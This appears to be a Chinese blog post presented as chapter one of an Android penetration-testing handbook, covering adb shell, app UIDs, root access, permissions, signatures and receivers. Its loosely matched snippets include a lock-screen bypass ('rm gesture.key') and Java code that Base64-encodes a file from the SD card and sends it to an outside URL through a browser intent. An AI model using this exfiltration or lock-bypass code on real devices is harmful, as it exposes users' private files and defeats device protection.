Android渗透测试学习手册:第一章 Android 安全入门指南

2026-02-08 0 670

Android渗透测试学习手册:第一章 Android 安全入门指南

在Android设备领域,内部构造和安全性问题不容忽视。例如,adb shell功能允许与设备直接进行交互,这对管理员和开发者来说非常方便,但同时也可能成为安全漏洞的潜在途径。

Android渗透测试学习手册:第一章 Android 安全入门指南

adb shell的重要性

$ adb devices
List of devices attached
emulator-5554   device

adb shell相当于一条通往设备内部的隐秘路径。它常被开发人员用来进行全面的设备调试。比如在不少软件开发企业,当他们在测试新款安卓设备的应用时,就会用到adb shell。这样,他们就能在设备上轻松执行指令、操作,并分析内部数据,这极大地缩短了开发周期,提升了工作效率。

adb shell.

Android渗透测试学习手册:第一章 Android 安全入门指南

然而,该通道可能被不法之徒滥用。若他们掌握了设备部分权限,便可通过adb shell实施恶意行为,比如篡改设备关键信息。

用户ID的分配和意义

# cd /data/data
# ls
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2

在安卓操作系统中,每当一个新的应用启动,都会被赋予一个独一无二的用户标识(UID)。这个过程就像给每一个新生婴儿发放一个仅此一份的身份证号码。

shell@android:/data/data/de.trier.infsec.koch.droidsheep # ls
cache
databases
files
lib
shell@android:/data/data/de.trier.infsec.koch.droidsheep # 

这能帮助辨别各类应用和程序。以聊天工具和游戏为例,它们各自拥有独立的标识符。由于UID不同,聊天工具在运行时不能随意读取游戏的数据,这样的设置确保了各应用的独立性和数据安全。然而,若开发者故意将某些应用配置成相同的UID,就可能获取不应获取的其他应用数据,从而对信息安全造成隐患。

shell@android:/data # cd /data/system
shell@android:/data/system # rm gesture.key

获取 root权限的利弊

Android渗透测试学习手册:第一章 Android 安全入门指南

获得设备的最高管理权限即意味着掌握极大的操控能力。对一些资深用户和开发者来说,在必须对设备系统进行深度调整时,root权限就如同握有一把万能钥匙,能够无障碍地访问并管理整个设备。比如,一些热衷于手机刷机的用户,若想安装非官方的安卓系统版本,就必须先获取root权限。

钥匙若被错误使用,后果可能严重。一旦拿到最高权限,心怀不轨的人便能轻松查看和改动设备内所有文件。这不但可能暴露个人或他人的隐私信息,还可能损害设备原有的安全稳定性。

Android渗透测试学习手册:第一章 Android 安全入门指南

应用程序的权限和文件

下载应用时,安装步骤中会出现一个权限提示界面。这些权限就像是一份约定,关乎我们使用设备特定资源和功能。若开发者未准确设置权限,可能会引发严重问题。就曾有一款小众游戏,在.xml文件里遗漏了相机权限的设定,却在运行时尝试调用相机,导致应用立即崩溃。

Android渗透测试学习手册:第一章 Android 安全入门指南

此外,该应用的数据存放目录共享同一用户标识,这构成了一个安全防护机制。通常情况下,这一机制确保各应用仅能访问各自的数据目录,有效避免了数据被非法访问的风险。

shell@grouper:/system/etc/permissions $ cat platform.xml
<permissions>
. . .
   
    
    <permission name=\"android.permission.BLUETOOTH\" >
        <group gid=\"net_bt\" />
    </permission>
    <permission name=\"android.permission.INTERNET\" >
        <group gid=\"inet\" />
    </permission>
    <permission name=\"android.permission.CAMERA\" >
        <group gid=\"camera\" />
    </permission>
. . .  [Some of the data has been stripped from here in order to shorten the output and make it readable]
</permissions>

应用程序的签名和验证

通过验证应用签名,我们能确定开发者身份。SDK内含相应的工具,便于执行此类核实。比如,某些公司会对自家的企业级应用实施签名,以此确保只有获得授权的设备方可安装并使用这些软件。

若签名出现错误或遭篡改,设备将拒绝安装该应用。这情形就像在安全关卡对来访者进行严格的身份核验,以保证其来源的正当性。

final File file = new File(\"/mnt/sdcard/profile.jpg\");
Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {
    InputStream is = cr.openInputStream(uri);
    bMap = BitmapFactory.decodeStream(is);
    if (is != null) {
        is.close();
    }  
} catch (Exception e) {
    Log.e(\"Error reading file\", e.toString());
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();  
bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);   
byte[] b = baos.toByteArray();
String imageString = Base64.encodeToString(b,Base64.DEFAULT);

startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse(\"http://attify.com/up.php?u=\"+imageString)));

引导加载程序与广播接收器

// To execute commands : 
String str = \"cat /proc/version\";     //command to be executed is stored in str.
process = Runtime.getRuntime().exec(str);

引导加载程序在默认状态下处于锁定状态,仅允许经过验证的核心程序运行。这种做法是设备制造商锁定安全边界的一种手段。就好比家门前的铁锁,阻挡了不速之客的进入。

接收器用来听取系统发出的广播信息,众多应用借助这一部件来掌握系统状况并作出相应处理。比如,当某些应用捕捉到系统电量不足的广播时,它们会立刻提醒用户充电或停止使用某些功能。

那么,对于一般安卓用户而言,怎样在日常使用中规避这些潜藏的安全隐患?希望阅读完本文后,大家能在评论区互相交流心得,也欢迎点赞,让更多人掌握这些信息。

$ jarsigner -verify -certs -verbose testing.apk

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

申明:本文由第三方发布,内容仅代表作者观点,与本网站无关。对本文以及其中全部或者部分内容的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。本网发布或转载文章出于传递更多信息之目的,并不意味着赞同其观点或证实其描述,也不代表本网对其真实性负责。

左子网 开发教程 Android渗透测试学习手册:第一章 Android 安全入门指南 https://www.zuozi.net/79063.html

常见问题
  • 1、自动:拍下后,点击(下载)链接即可下载;2、手动:拍下后,联系卖家发放即可或者联系官方找开发者发货。
查看详情
  • 1、源码默认交易周期:手动发货商品为1-3天,并且用户付款金额将会进入平台担保直到交易完成或者3-7天即可发放,如遇纠纷无限期延长收款金额直至纠纷解决或者退款!;
查看详情
  • 1、描述:源码描述(含标题)与实际源码不一致的(例:货不对板); 2、演示:有演示站时,与实际源码小于95%一致的(但描述中有”不保证完全一样、有变化的可能性”类似显著声明的除外); 3、发货:不发货可无理由退款; 4、安装:免费提供安装服务的源码但卖家不履行的; 5、收费:价格虚标,额外收取其他费用的(但描述中有显著声明或双方交易前有商定的除外); 6、其他:如质量方面的硬性常规问题BUG等。 注:经核实符合上述任一,均支持退款,但卖家予以积极解决问题则除外。
查看详情
  • 1、左子会对双方交易的过程及交易商品的快照进行永久存档,以确保交易的真实、有效、安全! 2、左子无法对如“永久包更新”、“永久技术支持”等类似交易之后的商家承诺做担保,请买家自行鉴别; 3、在源码同时有网站演示与图片演示,且站演与图演不一致时,默认按图演作为纠纷评判依据(特别声明或有商定除外); 4、在没有”无任何正当退款依据”的前提下,商品写有”一旦售出,概不支持退款”等类似的声明,视为无效声明; 5、在未拍下前,双方在QQ上所商定的交易内容,亦可成为纠纷评判依据(商定与描述冲突时,商定为准); 6、因聊天记录可作为纠纷评判依据,故双方联系时,只与对方在左子上所留的QQ、手机号沟通,以防对方不承认自我承诺。 7、虽然交易产生纠纷的几率很小,但一定要保留如聊天记录、手机短信等这样的重要信息,以防产生纠纷时便于左子介入快速处理。
查看详情

相关文章

猜你喜欢
发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务